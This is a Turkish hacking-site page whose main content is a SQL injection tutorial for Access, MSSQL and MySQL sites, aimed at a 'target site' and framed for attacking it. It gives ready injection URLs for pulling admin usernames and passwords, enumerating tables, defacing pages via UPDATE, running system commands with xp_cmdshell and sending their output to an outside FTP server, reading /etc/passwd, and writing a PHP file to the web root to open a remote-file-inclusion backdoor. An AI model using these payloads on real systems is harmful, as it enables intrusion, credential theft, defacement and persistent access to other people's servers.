HACKER - Access, Mssql ve Mysql ile Sql Injection
  Ana Sayfa
  Ziyaretçi defteri
  HACKER OLAMAK İSTİYENLER
  Başkaların Bilgisayarını Haclemek istiyenler
  Hackerlerin Kullandığı Programlar
  HABERLER
  Hack-Güvenlik
  => Kişisel Güvenlik ve Korunma Yöntemleri
  => Wireless Şifresi Kırma
  => Domain Adınızı Güncellemeyi Unutursanız...
  => Bir Rootkit Hikayesi...
  => RootKit Nedir ve Sistemden Nasıl Temizlenir?
  => Bruteforce Yöntemi İle Şifre Kırma Hesaplaması
  => Sosyal Mühendislik ve Senaryolar
  => Detaylarıyla Denial Of Service
  => N-Keylogger v1.3 ve Kullanımı
  => Access, Mssql ve Mysql ile Sql Injection
  => Soru-Cevap ile Hack Nedir, Nasıl Yapılır?
  => CSRF nedir, Nasıl yapılır?
  => Sql Server Şifreleri Nasıl Saklar?
  => PGP ye Pratik Giriş, PGP Kullanımı ve E-mail Güvenliği
  => Sanal Mağazacılık Ve Sanal Alışveriş
  => Veritabanı Saldırıları
  => Reverse Engineering - Visual Basic P-Code
  => Efkan Forum 2 - Database Yolu ile Hackleme Yöntemi 2
  => Efkan Forum - Database Yolu ile Hackleme Yöntemi
  => Kredi Kartları Güvenliği ve Carding Hakkında
  => Sosyal Mühendislik Hakkında
  => İnternet Bankacılığı ve Güvenliği
  => Reverse Engineering - Self Modifying
  => Reverse Engineering - Hedef Bölge
  => Reverse Engineering - Keygenler
  => Reverse Engineering - .Net Programları
  => Reverse Engineering - DeDe & VBDecompiler
  => Telnet ile Mailbox Temizlemek
  => Port Listesi
  => Virüs Çeşitleri
  => Proxy, Firewall ve kurulumu
  => Kredi Kartlarının Onaylanması ve Check Digit Algoritması
  => Exploit Nedir, Sistemlere Sızma Yolları
  => Exploitler Nedir, Nereden Bulunur ve Nasıl Kullanılır?
  => Advanced Coding / Buffer Overflow Exploit -3
  => Advanced Coding / Buffer Overflow Exploit -2
  => Advanced Coding / Buffer Overflow Exploit -1
  Windows Püfleri
  Arşiv
  İletişim

Access, Mssql ve Mysql ile Sql Injection

 

Access : Access sitelerde update olmaz. En basta bunu söyleyerek baslayayim. Bosuna update yapmaya çalismayin. Access sistemlerde tablo ve kolon adlarini ögrenebilecegimiz bir yolda olmadigi için tablo ve kolon adlarini bulmak için tek yol tablo ve kolonlari tahmin etmektir.

Diyelim ki sitemiz www.hedefite.com/haber.asp?id=1

simdi yapacagimi union select ile bilgileri çekmeye çalismaktir.

www.hedefsite.com/haber.asp?id=1+union+select+0+from+admin

bunu yazdiktan sonra eger admin tablosu yok ise

-The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly.

var ise

-The number of columns in the two selected tables or queries of a union query do not match.

Seklinde bi hata alinir. Ilk hatayi aldiysak tabloyu tutturamamisiz baska tablo adi denememiz gerekir. Ikinci hatayi aldiysak tablo adi dogru demektir. Simdiki isimiz kolon sayisini esitlemek olacaktir. Hata degisene kadar 0 koymaya devam etmemiz gerekiyor.hata degistikten sonra yada hata almazsak simdiki isimiz kolon adlarini tahmin etmek.

Örnek olarak; www.hedefsite.com/haber.asp?id=1+union+select+username,passw ord,0,0,0+from+admin

Access sitelerde sql injection yaparak eger sitenin bi admin paneli varsa onun sifresini yada bir üyelik girisi falan varsa üyelerin sifrelerini alabiliriz.

Mssql : mssql sql injection için en uygun sistemdir diyebilirim. Mssql sistemlerde hataya zorlayacak karakterleri yazdigimiz zaman örnek olarak : haber.asp?id=1’a unclosed hatasi aliyorsak update yapabilir. Update yapmak için tablo ve kolon adlarini ögrenmek lazim

Ögrenmek için having 1=1 kullaniriz.

www.hedefsite.com/news.asp?id=1 having 1=1

Column 'news.title' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Gibi bi hata aliriz. News tablosunda title kolonu varmis.

Diger kolon adlarini bulmak için

www.hedefsite.com/news.asp?id=1 group by title having 1=1

having 1=1 ‘den önce buldugumuz kolon adlarini group by ile birlikte yazarak diger kolon adlarini ögreniriz.

www.hedefsite.com/news.asp?id=1 update tablo_adi set kolon_adi=’yazilmak istenen yazi’;--

sekilde update yapilabilir.

Bir baska kolon ve tablo ögrenme sekli ise söyle

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'a'))

bu yazdigimiz kod ile alfabetik olarak ‘a’ karakterinden büyük olan ilk tablonun adini ögreniriz. Mesela article tablosunu verdi bize. Daha sonra

www.hedefsite.com/news.asp?id=convert(int, (select top 1 name from sysobjects where xtype='U' and name>'article'))

yazarak article tablosundan daha sonra gelen tabloyu buluruz bu sekilde tüm tablo adlarini bulabiliriz.

www.hedefsite.com/news.asp?id= convert(int, (select top 1 name from syscolumns where colid=COLUMNID and id=(select top 1 id from sysobjects where xtype='U' and name='kolonlarini ögrenmek istedigimiz tablo adi’)))

yazarak biraz önce adini ögrendigimiz tablonun kolon adlarini ögrenebiliriz. COLUMNID yazan yere 1 , 2 , 3 yazarak sirayla tabloda bulunan kolonlari alfabetik olarak ögrenebiliriz.

Having 1=1 ile sadece 1 tablonun adi ve kolon adlari ögrenilebilirken bu yöntemle tüm tablo ve kolonlar ögrenilebilir.

Uygulanacak baska bir yol ise veri tabani kullanicisi dbo yani admin ise veri tabaninda cmd komutu çalistirabilir bunun sonucunu bir ftp’ye yazdirabiliriz yada istedigimiz bir sorgu sonucunu yine ftp’ye yazdirabiliriz. Burada ihtiyacimiz olan yazilabilir ve sifresiz ulasilabilen bir ftp server ve veri tabani kullanicisinin dbo olmasidir. Zaten bu yöntemi video ile anlatmistim.

Bir sorgu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec+sp_makewebtask+'ftpserv er/a.html','select+*+from+tablo_adi';--

cmd komutu sonucunu ftp’ye yazdirma

www.hedefsite.com/news.asp?id=1;exec master..xp_cmdshell 'dir c: > test1.txt';drop table deneme1;CREATE TABLE deneme1 (txt varchar(8000));BULK INSERT deneme1 FROM 'test1.txt';exec+sp_makewebtask+'ftpserver/a.html','select+* +from+deneme1';

baska uygulanacak bir yöntem ise serverda dosya olusturmaktir. Bu sekilde servera fso upload edebilir yada direk index atabiliriz. Yine veri tabani kullanicisinin admin olmasi gerekmektedir. Yöntemi kisaca anlatayim. Bununla ilgili 2 video çekmistim zaten. Simdi bizim tablodaki verileri dosyaya yazdirma sansimiz var. O zaman biz bir tablo olusturup sonra bu tablo içine olusturmak istedigimiz dosyalarin insert edersek daha sonra bu tablodaki verileri dosyaya yazdirarak serverda istedigimiz dosyayi olusturabiliriz. Burada dosyalari hex koduna çevirerek insert etmek yararimiza olacaktir çünkü dosyalarin içinde bulunan verileri injectioni muhtemelen bozacaktir. Bununla ilgili 2 videom zaten var onlara bakarak çok daha iyi anlayabilirsiniz.

Mysql: bir baska veri tabani sistemi mysql’dir. Büyük bi çogunlukla php siteler kullanir. Sunu en basta söyliyeyim php’de update olmaz. Php sitelerde bosuna update denemeyin.

Yapabileceklerini eger veri tabani kullanicisi yetkili degil ise Access ile yapacaklarinizdan ileri geçemez. Union select ile veri çekebilirsiniz. Mysqlde injection kelimeleri arasina /**/ konur. Aslinda bu bir sart degildir ama mysqlde /**/ sonlandiri anlamina geliyor sanirim.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1,2 ,3/*

bu sekilde kolon sayisini tutturmaya çalisiyoruz. Dikkat ederseniz kolon sayisini tutturmaya çalisirken tablo adi yazmamiza gerek yok.

Eger yetkisimiz var ise mysql yada information_schema veri tabanlarindan veri çekebiliriz. Mysql.user tablosunda kullanici adi ve sifre bilgileri bulunur. Tabi sifre hashlenmis olarak tutulur. 4.1 öncesi sürümlerde 16 byte ile sifreliyorlardi 4.1 ve sonrasi sürümlerde 41 byte ile sifreleniyor. Bu sifreler ancak brute force ile kiralabilir. information_schema.tables tablosundan ise tablo ve kolon adlarini ögrenebilirsiniz.Ayrica load_file() fonksiyonu ile dosya okuyabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, load_file('/etc/passwd'),3/*

mesela bu sekilde etc passwd dosyasini okuyabiliriz. Eger magic_quotes_gpc özelligi on ise ‘ karakteri /’ dönüstürülecegi için text olarak yazarak bu yöntem çalismayacaktir. O zaman char() fonksiyonunu kullaniyoruz. /etc/passwd yazisinin karakterlerinin tek tek ascii kodlarini yazarak bu yöntemi uygulayabiliriz.

www.hedefsite.com/news.php?id=-1/**/UNION/**/SELECT/**/0,1, char(47,101,116,99,47,112,97,115,115,119,100),3/*

bu yötemi ayrica sanal dizin biliniyorsa sitenin dosyalarini okumak içinde kullanabiliriz.

/home/www/public_html/ gibi.

Mysql’dede sorgu sonucunu bir dosyaya yazdirma olayi var. Fakat sanal dizin bilinmek zorundadir. Bu isi into outfile komutuyla yapariz.

www.hedefsite.com/news.php?id=1/**/union/**/select/**/0,0,'d osyaya_yazdiralacak_kod '/**/from/**/users/**/**/INTO/**/OUTFILE/**/'/home/www/www.h edefsite.com/public_html/xxx.php'/*

burada ‘dosyaya yazdirlacak kod yerine’ rfi yiyen küçük bir kod parçacigi yazilarak kendimize bir rfi yolu açabiliriz

Bugün 45 ziyaretçi (47 klik) kişi burdaydı!
Bu web sitesi ücretsiz olarak Bedava-Sitem.com ile oluşturulmuştur. Siz de kendi web sitenizi kurmak ister misiniz?
Ücretsiz kaydol